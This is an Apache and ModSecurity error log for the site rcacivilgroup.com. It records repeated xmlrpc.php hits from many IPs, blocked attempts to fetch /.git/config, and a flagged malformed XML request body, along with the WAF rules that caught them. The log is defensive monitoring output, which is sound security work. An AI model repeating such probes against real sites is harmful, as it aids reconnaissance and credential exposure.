[Mon Apr 13 10:43:43.378589 2026] [:error] [pid 7228:tid 7241] [client 182.6.8.195:46573] [client 182.6.8.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.6.8.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxYXwEnn1dQrOSHHNVlBwAAAQs"]
[Mon Apr 13 10:43:57.864282 2026] [:error] [pid 63309:tid 63332] [client 182.6.8.195:20429] [client 182.6.8.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.6.8.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxYbUpIKZ10weXpf0W9fAAAABM"]
[Mon Apr 13 10:47:27.459619 2026] [:error] [pid 63406:tid 63428] [client 82.223.165.55:34418] [client 82.223.165.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.165.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxZP7HZEIkQ0Zmgp5pZXwAAANE"]
[Mon Apr 13 10:51:15.739394 2026] [:error] [pid 63311:tid 63391] [client 81.8.91.201:48870] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxaI6HjrGN1MqBCVFlnawAAAJQ"]
[Mon Apr 13 10:54:28.080437 2026] [:error] [pid 63406:tid 63426] [client 87.98.165.243:48070] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.98.165.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxa5LHZEIkQ0Zmgp5pcLgAAAM8"]
[Mon Apr 13 10:55:12.057422 2026] [:error] [pid 63311:tid 63384] [client 141.95.66.91:48146] [client 141.95.66.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.66.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxbEKHjrGN1MqBCVFlo3AAAAI0"]
[Mon Apr 13 10:58:45.788386 2026] [:error] [pid 63406:tid 63434] [client 85.128.143.121:52572] [client 85.128.143.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.121, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxb5bHZEIkQ0Zmgp5pd_gAAANc"]
[Mon Apr 13 11:01:08.163747 2026] [:error] [pid 63311:tid 63381] [client 157.230.98.69:49152] [client 157.230.98.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.98.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxcdKHjrGN1MqBCVFlq9wAAAIo"]
[Mon Apr 13 11:03:45.986796 2026] [:error] [pid 63311:tid 63371] [client 161.35.47.44:37724] [client 161.35.47.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.47.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxdEaHjrGN1MqBCVFlrzgAAAIA"]
[Mon Apr 13 11:11:36.263355 2026] [:error] [pid 63310:tid 63367] [client 137.184.132.132:56148] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adxe6HoXpRU5ztmwPjLh0QAAAFc"]
[Mon Apr 13 11:11:41.335168 2026] [:error] [pid 63406:tid 63413] [client 137.184.132.132:55704] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adxe7bHZEIkQ0Zmgp5pjfAAAAMI"]
[Mon Apr 13 11:12:42.695738 2026] [:error] [pid 63310:tid 63357] [client 103.110.84.178:33036] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxfKnoXpRU5ztmwPjLiDwAAAE0"]
[Mon Apr 13 11:13:59.237328 2026] [proxy_fcgi:error] [pid 7228:tid 7230] (70007)The timeout specified has expired: [client 20.104.245.70:34562] AH01075: Error dispatching request to : (polling)
[Mon Apr 13 11:16:36.477456 2026] [:error] [pid 57183:tid 57186] [client 82.223.165.55:55706] [client 82.223.165.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.165.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxgFDDO3t8R5NaxzYQPDgAAAUE"]
[Mon Apr 13 11:18:16.184079 2026] [:error] [pid 57183:tid 57204] [client 143.198.154.102:36582] [client 143.198.154.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.154.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxgeDDO3t8R5NaxzYQP-gAAAVM"]
[Mon Apr 13 11:27:24.115855 2026] [:error] [pid 63309:tid 63336] [client 173.165.4.61:11425] [client 173.165.4.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.165.4.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxinEpIKZ10weXpf0XGaQAAABc"]
[Mon Apr 13 11:27:27.164074 2026] [:error] [pid 63406:tid 63414] [client 87.106.61.118:56036] [client 87.106.61.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.106.61.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxin7HZEIkQ0Zmgp5poOAAAAMM"]
[Mon Apr 13 11:33:59.551536 2026] [:error] [pid 7228:tid 7242] [client 5.196.202.32:44504] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.196.202.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxkJwEnn1dQrOSHHNWDMAAAAQw"]
[Mon Apr 13 11:34:14.183407 2026] [:error] [pid 7228:tid 7233] [client 52.226.240.29:5824] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxkNgEnn1dQrOSHHNWDNwAAAQM"]
[Mon Apr 13 11:37:26.887887 2026] [:error] [pid 7228:tid 7247] [client 201.23.19.75:52784] [client 201.23.19.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.23.19.75, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxk9gEnn1dQrOSHHNWFZQAAARE"]
[Mon Apr 13 11:41:25.316858 2026] [:error] [pid 7228:tid 7246] [client 204.48.18.182:59380] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxl5QEnn1dQrOSHHNWIKwAAARA"]
[Mon Apr 13 11:43:57.026062 2026] [:error] [pid 7228:tid 7247] [client 217.154.40.49:41108] [client 217.154.40.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.40.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxmfQEnn1dQrOSHHNWJ5QAAARE"]
[Mon Apr 13 11:47:11.246415 2026] [:error] [pid 63311:tid 63391] [client 185.78.209.195:51156] [client 185.78.209.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.78.209.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxnP6HjrGN1MqBCVFl2ZQAAAJQ"]
[Mon Apr 13 11:48:48.033506 2026] [:error] [pid 63309:tid 63321] [client 54.37.239.214:58890] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxnoEpIKZ10weXpf0XJvQAAAAg"]
[Mon Apr 13 11:49:47.731040 2026] [:error] [pid 7228:tid 7242] [client 51.210.113.223:51962] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxn2wEnn1dQrOSHHNWN9gAAAQw"]
[Mon Apr 13 11:50:30.581152 2026] [:error] [pid 57183:tid 57201] [client 137.184.46.218:60828] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxoBjDO3t8R5NaxzYQezgAAAVA"]
[Mon Apr 13 11:55:45.308772 2026] [:error] [pid 63310:tid 63355] [client 152.53.241.40:33800] [client 152.53.241.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.241.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxpQXoXpRU5ztmwPjLqyAAAAEs"]
[Mon Apr 13 12:05:43.651458 2026] [:error] [pid 63406:tid 63425] [client 219.117.206.145:33326] [client 219.117.206.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 219.117.206.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxrl7HZEIkQ0Zmgp5pzeAAAAM4"]
[Mon Apr 13 12:06:50.070376 2026] [:error] [pid 57183:tid 57189] [client 94.143.138.158:46010] [client 94.143.138.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.143.138.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxr2jDO3t8R5NaxzYQlvAAAAUQ"]
[Mon Apr 13 12:13:01.644969 2026] [:error] [pid 7228:tid 7252] [client 37.128.148.215:52190] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxtTQEnn1dQrOSHHNWbqAAAARY"]
[Mon Apr 13 12:15:12.067519 2026] [:error] [pid 63406:tid 63414] [client 52.178.68.120:57266] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxt0LHZEIkQ0Zmgp5p2-gAAAMM"]
[Mon Apr 13 12:29:34.814852 2026] [:error] [pid 7228:tid 7241] [client 85.128.143.145:41110] [client 85.128.143.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxxLgEnn1dQrOSHHNWp7QAAAQs"]
[Mon Apr 13 12:30:00.087799 2026] [:error] [pid 57183:tid 57209] [client 196.27.114.137:49572] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxxSDDO3t8R5NaxzYQxXQAAAVg"]
[Mon Apr 13 12:33:38.358020 2026] [:error] [pid 57183:tid 57202] [client 78.88.230.100:41244] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxyIjDO3t8R5NaxzYQyfAAAAVE"]
[Mon Apr 13 12:34:04.479454 2026] [:error] [pid 7228:tid 7253] [client 147.182.243.3:50292] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.243.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxyPAEnn1dQrOSHHNWsYAAAARc"]
[Mon Apr 13 12:35:36.740178 2026] [:error] [pid 63311:tid 63384] [client 23.98.148.92:60130] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adxymKHjrGN1MqBCVFmDCQAAAI0"]
[Mon Apr 13 12:45:29.823194 2026] [:error] [pid 57183:tid 57207] [client 23.105.193.86:35696] [client 23.105.193.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.105.193.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx06TDO3t8R5NaxzYQ3HgAAAVY"]
[Mon Apr 13 12:49:00.632465 2026] [:error] [pid 63311:tid 63381] [client 109.176.198.138:45646] [client 109.176.198.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.176.198.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx1vKHjrGN1MqBCVFmG7QAAAIo"]
[Mon Apr 13 12:50:50.533212 2026] [:error] [pid 7228:tid 7247] [client 185.74.80.5:48356] [client 185.74.80.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.74.80.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx2KgEnn1dQrOSHHNW2hgAAARE"]
[Mon Apr 13 12:54:36.655819 2026] [:error] [pid 7228:tid 7234] [client 204.48.18.182:54036] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx3DAEnn1dQrOSHHNW5lgAAAQQ"]
[Mon Apr 13 12:54:44.253560 2026] [:error] [pid 7228:tid 7253] [client 59.125.102.226:57378] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx3FAEnn1dQrOSHHNW5wQAAARc"]
[Mon Apr 13 12:57:59.785711 2026] [:error] [pid 57183:tid 57197] [client 34.165.13.211:54650] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx31zDO3t8R5NaxzYQ9GgAAAUw"]
[Mon Apr 13 13:02:12.416177 2026] [:error] [pid 63309:tid 63336] [client 95.211.55.162:38948] [client 95.211.55.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.211.55.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx41EpIKZ10weXpf0XXsgAAABc"]
[Mon Apr 13 13:06:21.436933 2026] [:error] [pid 63311:tid 63378] [client 202.157.175.19:35078] [client 202.157.175.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.157.175.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx5zaHjrGN1MqBCVFmLUQAAAIc"]
[Mon Apr 13 13:06:22.260827 2026] [:error] [pid 57183:tid 57189] [client 51.210.113.223:46066] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx5zjDO3t8R5NaxzYRA-gAAAUQ"]
[Mon Apr 13 13:09:08.460277 2026] [:error] [pid 7228:tid 7232] [client 185.199.223.27:53326] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx6dAEnn1dQrOSHHNXE2gAAAQI"]
[Mon Apr 13 13:12:23.003943 2026] [:error] [pid 7228:tid 7232] [client 5.9.109.189:52704] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx7NwEnn1dQrOSHHNXH7gAAAQI"]
[Mon Apr 13 13:12:54.985862 2026] [:error] [pid 63309:tid 63322] [client 78.88.230.100:41088] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx7VkpIKZ10weXpf0XZPAAAAAk"]
[Mon Apr 13 13:14:58.042889 2026] [:error] [pid 57183:tid 57208] [client 178.62.28.91:52980] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx70jDO3t8R5NaxzYRFSAAAAVc"]
[Mon Apr 13 13:15:49.782959 2026] [:error] [pid 7228:tid 7243] [client 185.113.100.4:52828] [client 185.113.100.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.113.100.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx8BQEnn1dQrOSHHNXKfAAAAQ0"]
[Mon Apr 13 13:16:52.086600 2026] [:error] [pid 63406:tid 63427] [client 217.154.40.49:51758] [client 217.154.40.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.40.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx8RLHZEIkQ0Zmgp5qPtwAAANA"]
[Mon Apr 13 13:18:24.701747 2026] [:error] [pid 57183:tid 57190] [client 212.7.160.134:59724] [client 212.7.160.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.7.160.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx8oDDO3t8R5NaxzYRGwQAAAUU"]
[Mon Apr 13 13:28:58.638945 2026] [:error] [pid 63310:tid 63350] [client 93.91.154.4:60104] [client 93.91.154.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.91.154.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adx_GnoXpRU5ztmwPjL-wgAAAEY"]
[Mon Apr 13 13:35:18.546950 2026] [:error] [pid 63406:tid 63420] [client 77.95.113.65:59956] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyAlrHZEIkQ0Zmgp5qYiAAAAMk"]
[Mon Apr 13 13:38:44.742973 2026] [:error] [pid 57183:tid 57205] [client 212.125.4.206:40454] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyBZDDO3t8R5NaxzYRR5wAAAVQ"]
[Mon Apr 13 13:38:44.744549 2026] [:error] [pid 57183:tid 57205] [client 212.125.4.206:40454] [client 212.125.4.206] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyBZDDO3t8R5NaxzYRR5wAAAVQ"]
[Mon Apr 13 13:38:44.745738 2026] [:error] [pid 57183:tid 57205] [client 212.125.4.206:40454] [client 212.125.4.206] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adyBZDDO3t8R5NaxzYRR5wAAAVQ"]
